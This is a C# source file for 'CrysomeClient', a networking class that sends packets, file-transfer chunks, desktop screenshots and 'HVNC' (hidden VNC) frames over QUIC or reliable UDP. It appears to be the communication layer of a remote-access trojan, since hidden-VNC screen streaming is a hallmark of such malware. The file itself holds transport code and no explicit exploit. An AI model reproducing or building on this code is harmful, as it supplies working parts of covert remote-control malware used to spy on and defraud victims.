using System; using System.Collections.Concurrent; using System.IO; using System.Net; using System.Threading; using Crysome.Common.Network.FileTransfer; using Crysome.Common.Network.Packets; using Crysome.Common.Network.Transport; namespace Crysome.Common.Network; public class CrysomeClient { private ITransportSession _transport; private RudpChannel _rudp; private CancellationTokenSource _readCts = new CancellationTokenSource(); private readonly BlockingCollection _inQueue = new BlockingCollection(2048); private bool _serverSide; public bool IsConnected { get { if (_transport != null) { if (_transport.IsAlive) { return !_readCts.IsCancellationRequested; } return false; } if (_rudp != null && _rudp.IsAlive) { return !_readCts.IsCancellationRequested; } return false; } } public IPEndPoint RemoteAddress { get { object obj = _transport?.RemoteEndPoint; if (obj == null) { RudpChannel rudp = _rudp; if (rudp == null) { return null; } obj = rudp.Remote; } return (IPEndPoint)obj; } } public IPEndPoint LocalAddress => _transport?.LocalEndPoint; public int Port => LocalAddress?.Port ?? 0; public double RttMs => _transport?.RttMs ?? _rudp?.RttMs ?? 0.0; public double LossRate => _transport?.LossRate ?? _rudp?.LossRate ?? 0.0; public long BytesSent => _transport?.BytesSent ?? _rudp?.BytesSent ?? 0; public long BytesRecv => _transport?.BytesRecv ?? _rudp?.BytesRecv ?? 0; public uint UdpSessionToken { get; set; } public IPEndPoint UdpRemoteEndPoint { get; set; } public uint UdpLastFrameSeq { get; set; } public event EventHandler PacketReceived; public event EventHandler PacketSent; public CrysomeClient(ITransportSession transport, bool serverSide) { AttachTransport(transport, serverSide); } public CrysomeClient(RudpChannel channel) { AttachRudp(channel); } public CrysomeClient() { } public void Connect(IPAddress address, int port) { QuicTransportSession result = QuicTransportSession.ConnectClientAsync(new IPEndPoint(address, port), CancellationToken.None).AsTask().GetAwaiter() .GetResult(); AttachTransport(result, serverSide: false); } private void AttachTransport(ITransportSession transport, bool serverSide) { _transport = transport; _serverSide = serverSide; _transport.ReliableReceived += OnReliableData; _transport.UnreliableFrameReceived += OnUnreliableControl; _transport.Disconnected += OnDisconnected; } private void AttachRudp(RudpChannel channel) { _rudp = channel; _rudp.ReliableReceived += OnReliableData; _rudp.UnreliableFrameReceived += OnUnreliableControl; _rudp.Disconnected += OnDisconnected; } public RudpChannel GetRudpChannel() { return _rudp; } public void SendPacket(IPacket packet) { byte[] array = PacketSerializer.Serialize(packet); if (_transport != null) { if (_serverSide && packet is FtChunkPacket) { _transport.SendReliableBulk(array); } else { _transport.SendReliable(array); } } else { _rudp.SendReliable(array); } this.PacketSent?.Invoke(this, EventArgs.Empty); } public void SendPacketUnreliable(IPacket packet) { byte[] array = PacketSerializer.Serialize(packet); if (_transport != null) { _transport.SendPacketUnreliable(array); } else { _rudp.SendUnreliable(0, array); } this.PacketSent?.Invoke(this, EventArgs.Empty); } public void SendDesktopScreenFrame(byte[] jpegData) { if (jpegData != null && jpegData.Length != 0) { if (_transport != null) { _transport.SendUnreliableScreen(36, jpegData); } else { _rudp.SendUnreliable(36, jpegData); } this.PacketSent?.Invoke(this, EventArgs.Empty); } } public void SendHvncFrame(byte[] jpegData) { if (jpegData != null && jpegData.Length != 0) { if (_transport != null) { _transport.SendUnreliableScreen(46, jpegData); } else { _rudp.SendUnreliable(46, jpegData); } this.PacketSent?.Invoke(this, EventArgs.Empty); } } public IPacket ReadPacket() { try { IPacket result = _inQueue.Take(_readCts.Token); this.PacketReceived?.Invoke(this, EventArgs.Empty); return result; } catch (OperationCanceledException) { throw new IOException("Connection closed"); } } public void Disconnect() { _readCts.Cancel(); try { _transport?.SendFin(); } catch { } try { _transport?.Dispose(); } catch { } try { _rudp?.SendFin(); } catch { } try { _rudp?.Dispose(); } catch { } } private void OnReliableData(byte[] payload) { try { IPacket packet = PacketSerializer.Deserialize(payload); if (packet != null && !_inQueue.IsAddingCompleted) { _inQueue.TryAdd(packet, 100); } } catch { } } private void OnUnreliableControl(byte typeId, byte[] data) { if (typeId != 0 || data == null) { return; } try { IPacket packet = PacketSerializer.Deserialize(data); if (packet != null && !_inQueue.IsAddingCompleted) { _inQueue.TryAdd(packet, 20); } } catch { } } private void OnDisconnected() { _readCts.Cancel(); _inQueue.CompleteAdding(); } }